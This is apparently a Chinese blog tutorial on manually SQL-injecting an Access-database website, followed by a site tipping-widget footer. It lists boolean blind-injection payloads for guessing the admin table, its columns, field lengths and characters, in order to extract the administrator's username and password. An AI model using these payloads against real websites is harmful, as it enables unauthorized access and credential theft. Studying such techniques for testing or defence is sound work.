简单SQL注入-手工注入access数据库

  1. 找到目标站点http://xxx.xxxx.xx/xxx.xxx?ID=XX,测试是否存在注入点
  2. 猜解表名,在链接末尾加语句 and exists(select *from admin) 页面若显示正常,说明存在表名admin。
  3. 猜解列名 在链接末尾加语句 and exists(select admin from admin) 若页面显示正常,则admin表中存在admin列
  4. 继续猜解password等其他列 and exists(select password from admin)
  5. 猜解字段内容

    (1)、猜测字段长度,加语句 and (select top 1 len (admin) from admin)>1,若页面显示正常,末尾数字增加,假若增加至 and (select top 1 len (admin) from admin)>5时页面显示不正常,则说明字段长度为5

    (2)、在链接末尾加and (select top 1 asc(mid(admin,1,1))from admin)>97时显示错误,则第一条记录的第一位字符的ascll码为97,对应a

    (3)、用以上同样的方法得到admin的字段内容 和password字段的内容

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值